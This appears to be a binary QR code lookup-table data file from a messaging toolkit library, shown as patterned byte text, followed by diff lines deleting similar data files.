xwxwxwxwxwxwxwxwvuvuvuvuvuvuvuvuvuvuvuvutstststststststsrqrqrqrqrqrqrqrqpopopopopopopoponmnmnmnmnmnmnmnmlklklklklklklklklklklklkjijijijijijijijihghghghghghghghghghghghgfefefefefefefefedcdcdcdcdcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUSTSTSTSTSTSTSTSTTSRQRQRQRQRQRQRQRQRQRQRQPOPOPOPOPOPOPOPOPONMNMNMNMNMNMNMNMNMNMNMLKLKLKLKLKLKLKLKLKJIJIJIJIJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCDCBABABABABABABABABABABA@?@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=>=>=>=<;<;<;<;<;<;<;<;:9:9:9:9:9:9:9:9787878787878787865656565656565656565656543434343434343432121212121212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!"!"!"!"!        xwxwxwxwxwxwxwxwvuvuvuvuvuvuvuvuvuvuvuvutstststststststsrqrqrqrqrqrqrqrqpopopopopopopoponmnmnmnmnmnmnmnmlklklklklklklklklklklklkjijijijijijijijihghghghghghghghghghghghgfefefefefefefefedcdcdcdcdcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUSTSTSTSTSTSTSTSTRQRQRQRQRQRQRQRQRQRQRQRQPOPOPOPOPOPOPOPONMNMNMNMNMNMNMNMNMNMNMNMLKLKLKLKLKLKLKLKJIJIJIJIJIJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCBABABABABABABABABABABABA@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=>=>=>=>=<;<;<;<;<;<;<;<;:9:9:9:9:9:9:9:9787877777878787865656565656565656565656543434343434343432121212121212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!"!"!"!"!        xwxwxwxwxwxwxwxwvuvuvuvuvuvuvuvuvuvuvuvutstststststststsrqrqrqrqpopopopopopopopopopopoponmnmnmnmnmnmnmnmlklklklklklklklklklklklkjijijijijijijijihghghghghghghghghghghghgfefefefefefefefedcdcdcdcdcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUSTSTSTSTSTSTSTSTRQRQRQRQRQRQRQRQRQRQRQRQPOPOPOPOPOPOPOPONMNMNMNMNMNMNMNMNMNMNMNMLKLKLKLKLKLKLKLKJIJIJIJIJIJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCBABABABABABABABABABABABA@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=>=>=>=>=<;<;<;<;<;<;<;<;:9:9:9:9:9:9:9:9778787877877777765656565656565656565656543434343434343432121212121212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!"!"!"!"!        xwxwxwxwxwxwxwxwvuvuvuvuvuvuvuvuvuvuvuvutstststsrqrqrqrqrqrqrqrqooooopoppopopooopopopoponmnmnmnmnmnmnmnmlklklklklklklklklkjijijijijijijijijijijihghghghghghghghghgfefefefefefefefefefefedcdcdcdcdcdcdcdcdcbababababababababababa`_`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUSTSTSTSTSTSTSTSTRQRQRQRQRQRQRQRQRQRQRQRQPOPOPOPOPOPOPOPONMNMNMNMNMNMNMNMNMNMNMNMLKLKLKLKLKLKLKLKJIJIJIJIJIJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCBABABABABABABABABABABABA@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=>=>=>=>=<;<;<;<;<;<;<;<;:9:9:9:9:9:9:9:9878787878787878765656565656565656543434343434343434343432121212121212121210/0/0/0/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)*)('('('('('('('('('('('&%&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!"!        xwxwxwxwxwxwxwxwvuvuvuvuvuvuvuvutstststststststsrqrqrqrqrqrqrqrqopopopopooopopopmmmmmmnmnmnmnmnmnmnmnmnmlklklklklklklklkjijijijijijijijijijijijihghghghghghghghgfefefefefefefefefefefefedcdcdcdcdcdcdcdcbabababababababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUSTSTSSSSSTSTSTSTRQRQRQRQRQRQRQRQRQRQRQRQPOPOPOPOPOPOPOPONMNMNMNMNMNMNMNMNMNMNMNMLKLKLKLKLKLKLKLKJIJIJIJIJIJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCBABABABABABABABABABABABA@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=>=>=>=>=<;<;<;<;<;<;<;<;:9:9:9:9:9:9:9:98787878787878787656565656565656543434343434343434343434321212121212121210/0/0/0/0/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!        xwxwxwxwxwxwxwxwvuvuvuvuvuvuvuvutstststststststsrqrqrqrqrqrqrqrqopopopopopopopopnmnmnmnmnmnmnmnmnmnmnmnmlklklklklklklklkjijijijijijijijijijijijihghghghghghghghgfefefefefefefefefefefefedcdcdcdcdcdcdcdcbabababababababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUSSTSTSTSSTSSSSSSRQRQRQRQRQRQRQRQRQRQRQRQPOPOPOPOPOPOPOPONMNMNMNMNMNMNMNMNMNMNMNMLKLKLKLKLKLKLKLKJIJIJIJIJIJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCBABABABABABABABABABABABA@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=>=>=>=>=<;<;<;<;<;<;<;<;:9:9:9:9:9:9:9:98787878787878787656565656565656543434343434343434343434321212121212121210/0/0/0/0/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!        xwxwxwxwxwxwxwxwvuvuvuvuvuvuvuvutstststststststsrqrqrqrqrqrqrqrqopopopopopopopopnmnmnmnmnmnmnmnmnmnmnmnmlklklklklklklklkjijijijijijijijijijijijihghghghghghghghgfefefefefefefefefefefefedcdcdcdcdcdcdcdcbabababababababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQRQPOPOPOPOPOPOPOPOPOPOPONMNMNMNMNMNMNMNMNMLKLKLKLKLKLKLKLKLKLKLKJIJIJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCDCDCDCBABABABABABABABABA@?@?@?@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=>=<;<;<;<;<;<;<;<;:9:9:9:9:9:9:9:98787878787878787878787656565656565656543434343434343434343434321212121212121210/0/0/0/0/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!        xwxwxwxwxwxwxwxwvuvuvuvuvuvuvuvutstststststststsrqrqrqrqrqrqrqrqopopopopopopopopnmnmnmnmnmnmnmnmnmnmnmnmlklklklklklklklkjijijijijijijijijijijijihghghghghghghghgfefefefefefefefefefefefedcdcdcdcdcdcdcdcbabababababababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQPOPOPOPOPOPOPOPOPOPOPOPONMNMNMNMNMNMNMNMLKLKLKLKLKLKLKLKLKLKLKLKJIJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCDCDCDCDCBABABABABABABABA@?@?@?@?@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=<;<;<;<;<;<;<;<;:9:9:9:9:9:9:9:9877777788787878787878777656565656565656543434343434343434343434321212121212121210/0/0/0/0/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!                    - - - - - - - - - - - -             - - - - - - - - - - - -          - - - - - - - - -         - - - - - - - -         - - - - - - - -         - - - - - - - -         - - - - - - - -         - - - - - - - -            - - - - - - - - - - -             - - - - - - - - - - - -             - - - - - - - - - - - -             - - - - - - - - - - - - xxwwvvuuHHGGFFEE))**++,,YYZZ[[\\ccbbaa``))((''&&""##$$%%\\]]^^__^]]\\[[Z)((''&&%DDEEFFGGttuuvvwwMMLLKKJJDDEEFFGGttuuvvwwMMLLKKJJDDEEFFGGttuuvvwwMMLLKKJJDDEEFFGGttuuvvwwMMLLKKJJDDEEFFGGttuuvvwwMMLLKKJJDDEEFFGGttuuvvwwCCBBAA@@ 556677==oouuvvwwHHGGFFEE !!""##PPQQRRSSqqppoonnAA@@??>> !!""##PPQQRRSSqqppoonnAA@@??>> !!""##PPQQRRSSqqppoonnAA@@??>> !!""##PPQQRRSSqqppoonnAA@@??>> !!""##PPQQRRSSqqppoonnAA@@??>> !!""##PPQQRRSSllkkjjii221100// FFGGHHIIonnmmllk<;:98776,,--..//\\]]^^__eeddccbb55443322,,--..//\\]]^^__eeddccbb55443322,,--..//\\]]^^__eeddccbb55443322,,--..//\\]]^^__eeddccbb55443322,,--..//\\]]^^__eeddccbb55443322,,--..//\\]]^^__``__^^]]&&%%$$##RRSSYYZZcbbaa``_.--,,++* - - 8899::;;ttssrrqqDDCCBBAA--..//00]]^^__``__^^]]\\%%$$##""&&''(())``aabbccZYYXWVUT%$$##""!HHIIJJKKxxxxwwvvIIHHGGFFHHIIJJKKxxxxwwvvIIHHGGFFHHIIJJKKxxxxwwvvIIHHGGFFHHIIJJKKxxxxwwvvIIHHGGFFHHIIJJKKxxxxwwvvIIHHGGFFHHIIJJKKxxxxwwvv??>>==77>>??@@AAxxxxwwvvDDCCBBAA $$%%&&''TTUUVVWWmmllkkjj==<<;;:: - -$$%%&&''TTUUVVWWmmllkkjj==<<;;:: - -$$%%&&''TTUUVVWWmmllkkjj==<<;;:: - -$$%%&&''TTUUVVWWmmllkkjj==<<;;:: - -$$%%&&''TTUUVVWWmmllkkjj==<<;;:: - -$$%%&&''TTUUVVWWhhggffee..--,,++JJKKLLMMkjjiihhg6554433200112233``aabbccaa``__^^1100//..00112233``aabbccaa``__^^1100//..00112233``aabbccaa``__^^1100//..00112233``aabbccaa``__^^1100//..00112233``aabbccaa``__^^1100//..00112233``aabbcc\\[[ZZYY""!!!!""##$$[[\\]]^^_^^]]\\[*))((''& <<==>>??ppoonnmm@@??>>== 11223344aabbccdd[[ZZYYSS!!**++,,--ddeeffggSSRRQQPP! LLMMNNOOuuttssrrEEDDCCBBLLMMNNOOuuttssrrEEDDCCBBLLMMNNOOuuttssrrEEDDCCBBLLMMNNOOuuttssrrEEDDCCBBLLMMNNOOuuttssrrEEDDCCBBLLMMNNOOuuoonnmm66554433 - - BBCCDDEEuutsrqpo@@??>>== - - (())**++XXYYZZ[[iihhggff99887766 (())**++XXYYZZ[[iihhggff99887766 (())**++XXYYZZ[[iihhggff99887766 (())**++XXYYZZ[[iihhggff99887766 (())**++XXYYZZ[[iihhggff99887766 (())**++XXYYZZ[[ddccbbaa**))((''NNOOPPQQgffeeddc21100//.44556677ddeeffgg]]\\[[ZZ--,,++**44556677ddeeffgg]]\\[[ZZ--,,++**44556677ddeeffgg]]\\[[ZZ--,,++**44556677ddeeffgg]]\\[[ZZ--,,++**44556677ddeeffgg]]\\[[ZZ--,,++**44556677ddeeffggSSRRQQPP%%&&''((__``aabb[ZZYYXWV&%%$$##"@@AABBCCllkkjjii<<;;::99 - - 55667788eeffgghhRRQQPPOO..//0011hhiijjkkOONNMMLL !!""##PPQQRRSSqqppoonnAA@@??>> !!""##PPQQRRSSqqppoonnAA@@??>> !!""##PPQQRRSSqqppoonnAA@@??>> !!""##PPQQRRSSqqppoonnAA@@??>> !!""##PPQQRRSSqqppoonnAA@@??>> !!""##PPQQRRSSllkkjjii221100// FFGGHHIIonnmmllk<;:98776,,--..//\\]]^^__eeddccbb55443322,,--..//\\]]^^__eeddccbb55443322,,--..//\\]]^^__eeddccbb55443322,,--..//\\]]^^__eeddccbb55443322,,--..//\\]]^^__eeddccbb55443322,,--..//\\]]^^__``__^^]]&&%%$$##RRSSYYZZcbbaa``_.--,,++* - - 8899::;;hhiijjkkYYXXWWVV))((''&& - - 8899::;;hhiijjkkYYXXWWVV))((''&& - - 8899::;;hhiijjkkYYXXWWVV))((''&& - - 8899::;;hhiijjkkYYXXWWVV))((''&& - - 8899::;;hhiijjkkYYXXWWVV))((''&& - - 8899::;;hhiijjkkOONNMMLL))**++,,ccddeeffUTSSRRQQ"!! DDEEFFGGhhggffee88776655 - - 99::;;<>??llmmnnooUUTTSSRR%%$$##"" <<==>>??llmmnnooUUTTSSRR%%$$##"" <<==>>??llmmnnooUUTTSSRR%%$$##"" <<==>>??llmmnnooUUTTSSRR%%$$##"" <<==>>??llmmnnooUUTTSSRR%%$$##"" <<==>>??llmmnnooKKJJIIHH--..//00gghhiijjPPOONNMMHHIIJJKKddccbbaa44332211 ==>>??@@mmnnooppJJIIHHGG 6677==>>uuvvwwxxGGFFEEDD(())**++XXYYZZ[[iihhggff99887766 (())**++XXYYZZ[[iihhggff99887766 (())**++XXYYZZ[[iihhggff99887766 (())**++XXYYZZ[[iihhggff99887766 (())**++XXYYZZ[[iihhggff99887766 (())**++XXYYZZ[[ddccbbaa**))((''NNOOPPQQgffeeddc21100//.44556677ddeeffgg]]\\[[ZZ--,,++**44556677ddeeffgg]]\\[[ZZ--,,++**44556677ddeeffgg]]\\[[ZZ--,,++**44556677ddeeffgg]]\\[[ZZ--,,++**44556677ddeeffgg]]\\[[ZZ--,,++**44556677ddeeffggSSRRQQPP%%&&''((__``aabb[ZZYYXWV&%%$$##"@@AABBCCppqqrrssQQPPOONN!! @@AABBCCppqqrrssQQPPOONN!! @@AABBCCppqqrrssQQPPOONN!! @@AABBCCppqqrrssQQPPOONN!! @@AABBCCppqqrrssQQPPOONN!! @@AABBCCppqqrrssGGFFEEDD - -11223344kkllmmnnLLKKJJIILLMMNNOO``__^^]]00//..--AABBCCDDqqrrssttFFEEDDCC - - ??@@AABBxxwwvvuuCCBBAA@@ ,,--..//\\]]^^__eeddccbb55443322,,--..//\\]]^^__eeddccbb55443322,,--..//\\]]^^__eeddccbb55443322,,--..//\\]]^^__eeddccbb55443322,,--..//\\]]^^__eeddccbb55443322,,--..//\\]]^^__``__^^]]&&%%$$##RRSSYYZZcbbaa``_.--,,++* - - 8899::;;hhiijjkkYYXXWWVV))((''&& - - 8899::;;hhiijjkkYYXXWWVV))((''&& - - 8899::;;hhiijjkkYYXXWWVV))((''&& - - 8899::;;hhiijjkkYYXXWWVV))((''&& - - 8899::;;hhiijjkkYYXXWWVV))((''&& - - 8899::;;hhiijjkkOONNMMLL))**++,,ccddeeffUTSSRRQQ"!! DDEEFFGGttuuvvwwMMLLKKJJDDEEFFGGttuuvvwwMMLLKKJJDDEEFFGGttuuvvwwMMLLKKJJDDEEFFGGttuuvvwwMMLLKKJJDDEEFFGGttuuvvwwMMLLKKJJDDEEFFGGttuuvvwwCCBBAA@@ 556677==oouuvvwwHHGGFFEE !!""##PPQQRRSS\\[[ZZYY,,++**))EEFFGGHHuuvvwwxxBBAA@@?? - - CCDDEEFFtsrqpoon??>>==<; - - 00112233``aabbccaa``__^^1100//..00112233``aabbccaa``__^^1100//..00112233``aabbccaa``__^^1100//..00112233``aabbccaa``__^^1100//..00112233``aabbccaa``__^^1100//..00112233``aabbcc\\[[ZZYY""!!!!""##$$[[\\]]^^_^^]]\\[*))((''& <<==>>??llmmnnooUUTTSSRR%%$$##"" <<==>>??llmmnnooUUTTSSRR%%$$##"" <<==>>??llmmnnooUUTTSSRR%%$$##"" <<==>>??llmmnnooUUTTSSRR%%$$##"" <<==>>??llmmnnooUUTTSSRR%%$$##"" <<==>>??llmmnnooKKJJIIHH--..//00gghhiijjPPOONNMMHHIIJJKKxxxxwwvvIIHHGGFFHHIIJJKKxxxxwwvvIIHHGGFFHHIIJJKKxxxxwwvvIIHHGGFFHHIIJJKKxxxxwwvvIIHHGGFFHHIIJJKKxxxxwwvvIIHHGGFFHHIIJJKKxxxxwwvv??>>==77>>??@@AAxxxxwwvvDDCCBBAA $$%%&&''TTUUVVWWXXWWVVUU((''&&%%IIJJKKLLxxwwvvuu>>==7766 GGHHIIJJnmmllkkj:987766544556677ddeeffgg]]\\[[ZZ--,,++**44556677ddeeffgg]]\\[[ZZ--,,++**44556677ddeeffgg]]\\[[ZZ--,,++**44556677ddeeffgg]]\\[[ZZ--,,++**44556677ddeeffgg]]\\[[ZZ--,,++**44556677ddeeffggSSRRQQPP%%&&''((__``aabb[ZZYYXWV&%%$$##"@@AABBCCppqqrrssQQPPOONN!! @@AABBCCppqqrrssQQPPOONN!! @@AABBCCppqqrrssQQPPOONN!! @@AABBCCppqqrrssQQPPOONN!! @@AABBCCppqqrrssQQPPOONN!! @@AABBCCppqqrrssGGFFEEDD - -11223344kkllmmnnLLKKJJIILLMMNNOOuuttssrrEEDDCCBBLLMMNNOOuuttssrrEEDDCCBBLLMMNNOOuuttssrrEEDDCCBBLLMMNNOOuuttssrrEEDDCCBBLLMMNNOOuuttssrrEEDDCCBBLLMMNNOOuuoonnmm66554433 - - BBCCDDEEuutsrqpo@@??>>== - - (())**++XXYYZZ[[TTSSRRQQ$$##""!! MMNNOOPPoonnmmll55443322KKLLMMNNjiihhggf54433221 - - 8899::;;hhiijjkkYYXXWWVV))((''&& - - 8899::;;hhiijjkkYYXXWWVV))((''&& - - 8899::;;hhiijjkkYYXXWWVV))((''&& - - 8899::;;hhiijjkkYYXXWWVV))((''&& - - 8899::;;hhiijjkkYYXXWWVV))((''&& - - 8899::;;hhiijjkkOONNMMLL))**++,,ccddeeffUTSSRRQQ"!! DDEEFFGGttuuvvwwMMLLKKJJDDEEFFGGttuuvvwwMMLLKKJJDDEEFFGGttuuvvwwMMLLKKJJDDEEFFGGttuuvvwwMMLLKKJJDDEEFFGGttuuvvwwMMLLKKJJDDEEFFGGttuuvvwwCCBBAA@@ 556677==oouuvvwwHHGGFFEE !!""##PPQQRRSSqqppoonnAA@@??>> !!""##PPQQRRSSqqppoonnAA@@??>> !!""##PPQQRRSSqqppoonnAA@@??>> !!""##PPQQRRSSqqppoonnAA@@??>> !!""##PPQQRRSSqqppoonnAA@@??>> !!""##PPQQRRSSllkkjjii221100// FFGGHHIIonnmmllk<;:98776,,--..//\\]]^^__PPOONNMM !!""##$$QQRRSSTTkkjjiihh1100//..OOPPQQRRfeeddccb100//..- <<==>>??llmmnnooUUTTSSRR%%$$##"" <<==>>??llmmnnooUUTTSSRR%%$$##"" <<==>>??llmmnnooUUTTSSRR%%$$##"" <<==>>??llmmnnooUUTTSSRR%%$$##"" <<==>>??llmmnnooUUTTSSRR%%$$##"" <<==>>??llmmnnooKKJJIIHH--..//00gghhiijjPPOONNMMHHIIJJKKxxxxwwvvIIHHGGFFHHIIJJKKxxxxwwvvIIHHGGFFHHIIJJKKxxxxwwvvIIHHGGFFHHIIJJKKxxxxwwvvIIHHGGFFHHIIJJKKxxxxwwvvIIHHGGFFHHIIJJKKxxxxwwvv??>>==77>>??@@AAxxxxwwvvDDCCBBAA $$%%&&''TTUUVVWWmmllkkjj==<<;;:: - -$$%%&&''TTUUVVWWmmllkkjj==<<;;:: - -$$%%&&''TTUUVVWWmmllkkjj==<<;;:: - -$$%%&&''TTUUVVWWmmllkkjj==<<;;:: - -$$%%&&''TTUUVVWWmmllkkjj==<<;;:: - -$$%%&&''TTUUVVWWhhggffee..--,,++JJKKLLMMkjjiihhg6554433200112233``aabbcchhiijjkkLLKKJJII%%&&''((UUVVWWXXggffeedd--,,++**!!SSYYZZ[[baa``__^-,,++**)@@AABBCCppqqrrssQQPPOONN!! @@AABBCCppqqrrssQQPPOONN!! @@AABBCCppqqrrssQQPPOONN!! @@AABBCCppqqrrssQQPPOONN!! @@AABBCCppqqrrssQQPPOONN!! @@AABBCCppqqrrssGGFFEEDD - -11223344kkllmmnnLLKKJJIILLMMNNOOuuttssrrEEDDCCBBLLMMNNOOuuttssrrEEDDCCBBLLMMNNOOuuttssrrEEDDCCBBLLMMNNOOuuttssrrEEDDCCBBLLMMNNOOuuttssrrEEDDCCBBLLMMNNOOuuoonnmm66554433 - - BBCCDDEEuutsrqpo@@??>>== - - (())**++XXYYZZ[[iihhggff99887766 (())**++XXYYZZ[[iihhggff99887766 (())**++XXYYZZ[[iihhggff99887766 (())**++XXYYZZ[[iihhggff99887766 (())**++XXYYZZ[[iihhggff99887766 (())**++XXYYZZ[[ddccbbaa**))((''NNOOPPQQgffeeddc21100//.44556677ddeeffggllmmnnooppqqrrssQQPPOONN!! @@AABBCCppqqrrssQQPPOONN!! @@AABBCCppqqrrssQQPPOONN!! @@AABBCCppqqrrssQQPPOONN!! @@AABBCCppqqrrssDDCCBBAA - - - -AABBCCDDeeddccbb55443322 <<==>>??ttuuvvwwMMLLKKJJDDEEFFGGttuuvvwwMMLLKKJJDDEEFFGGttuuvvwwMMLLKKJJDDEEFFGGttuuvvwwMMLLKKJJDDEEFFGGttuuvvww@@??>>== EEFFGGHHaa``__^^1100//..@@AABBCCxxxxwwvvIIHHGGFFHHIIJJKKxxxxwwvvIIHHGGFFHHIIJJKKxxxxwwvvIIHHGGFFHHIIJJKKxxxxwwvvIIHHGGFFHHIIJJKKxxppoonn77665544IIJJKKLL]]\\[[ZZ--,,++**DDEEFFGGuuttssrrEEDDCCBBLLMMNNOOuuttssrrEEDDCCBBLLMMNNOOuuttssrrEEDDCCBBLLMMNNOOuuttssrrEEDDCCBBLLMMNNOOmmllkkjj33221100MMNNOOPPYYXXWWVV))((''&&HHIIJJKKqqppoonnAA@@??>> !!""##PPQQRRSSqqppoonnAA@@??>> !!""##PPQQRRSSqqppoonnAA@@??>> !!""##PPQQRRSSqqppoonnAA@@??>> !!""##PPQQRRSSiihhggff//..--,,QQRRSSYYUUTTSSRR%%$$##""LLMMNNOOmmllkkjj==<<;;:: - -$$%%&&''TTUUVVWWmmllkkjj==<<;;:: - -$$%%&&''TTUUVVWWmmllkkjj==<<;;:: - -$$%%&&''TTUUVVWWmmllkkjj==<<;;:: - -$$%%&&''TTUUVVWWeeddccbb++**))((!!""##ZZ[[\\]]QQPPOONN!!  !!""##PPQQRRSSiihhggff99887766 (())**++XXYYZZ[[iihhggff99887766 (())**++XXYYZZ[[iihhggff99887766 (())**++XXYYZZ[[iihhggff99887766 (())**++XXYYZZ[[aa``__^^''&&%%$$$$%%&&''^^__``aaMMLLKKJJ$$%%&&''TTUUVVWWeeddccbb55443322,,--..//\\]]^^__eeddccbb55443322,,--..//\\]]^^__eeddccbb55443322,,--..//\\]]^^__eeddccbb55443322,,--..//\\]]^^__]]\\[[ZZ##""!!(())**++bbccddeeIIHHGGFF(())**++XXYYZZ[[aa``__^^1100//..00112233``aabbccaa``__^^1100//..00112233``aabbccaa``__^^1100//..00112233``aabbccaa``__^^1100//..00112233``aabbccYYSSRRQQ,,--..//ffgghhiiEEDDCCBB,,--..//\\]]^^__]]\\[[ZZ--,,++**44556677ddeeffgg]]\\[[ZZ--,,++**44556677ddeeffgg]]\\[[ZZ--,,++**44556677ddeeffgg]]\\[[ZZ--,,++**44556677ddeeffggPPOONNMM00112233jjkkllmmAA@@??>>00112233``aabbccYYXXWWVV))((''&& - - 8899::;;hhiijjkkYYXXWWVV))((''&& - - 8899::;;hhiijjkkYYXXWWVV))((''&& - - 8899::;;hhiijjkkYYXXWWVV))((''&& - - 8899::;;hhiijjkkLLKKJJII44556677mmllkkjj==<<;;:: - -44556677ddeeffggUUTTSSRR%%$$##"" <<==>>??llmmnnooUUTTSSRR%%$$##"" <<==>>??llmmnnooUUTTSSRR%%$$##"" <<==>>??llmmnnooUUTTSSRR%%$$##"" <<==>>??llmmnnooHHGGFFEE ==>>??@@iihhggff99887766 - - 8899::;;hhiijjkkllmmbdQZ|bdQZ|bdQZ|H~fH~f`JXQrے`JZdQbt|ZdQv`ffpvZp˂Zp˂Zp˂tAJlt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|dZ|d|dr|dr|dtAfH~fH~pZHAbpZHAbpZHAJtArdJtArd`f~`f~`fHےbHAےbHA|dr|dr|dtAfH~fH~XQr˂`JXQrb㉀ۑpZQXb㉀f۝`vf۝`vrQtJlrQtJltAJltAJlJltf`vXf`vXے`Jے`Jے`JXQ|ZdQ|ZdQHfpvHfpvfpvZp˂Zp˂tAJltAJlJltf`vXf`vXpZHAb˂p`JAHr󙐒ۑpJAHXnv˅Xnv˒tbAdtbAdtbdQZtbdQZbnvnvpnvpXQr˂XQr˂rbtbtlbtlnXvnXvnrXQJrXQJ`rXQJ`tbdQZtbdQZbnvnvpnvp˂pJXQrˁ`ZQXr󙐂ˁ`pfH~pfH~Z|dZ|d|dr|drpfHfH~fH~pZHAbpZHAblJtAdJtArdJtArd`f~`f~`ےHAےbHAےbHA|dr|drpfHfH~fH~ZHAb˂pZHAb㉀ۑpZQXb㉀f۝`vf۝`vrQtJlrQtJltAJltAJlf`vXf`vXf`vXے`Jے`J|ZdQ|ZdQ|ZdQHfpvHfpvZp˂Zp˂Zp˂tAJltAJlf`vXf`vXf`vXے`JXQbے`JAHr󙐅Xnv˅Xnv˅Xnv˒tbAdtbAdtbdQZtbdQZnvpnvpnvpXQr˂XQr˂btlbtlbtlnXvnXvrXQJ`rXQJ`rXQJ`tbdQZtbdQZnvpnvpnvpr˂pJXQrۑpJpfH~pfH~p|dZ|dZ|drQtqrstuvwxxwvutsr \ No newline at end of file diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv26_2.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv26_2.dat deleted file mode 100644 index 9b026a0..0000000 Binary files a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv26_2.dat and /dev/null differ diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv26_3.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv26_3.dat deleted file mode 100644 index 35f6746..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv26_3.dat +++ /dev/null @@ -1,241 +0,0 @@ 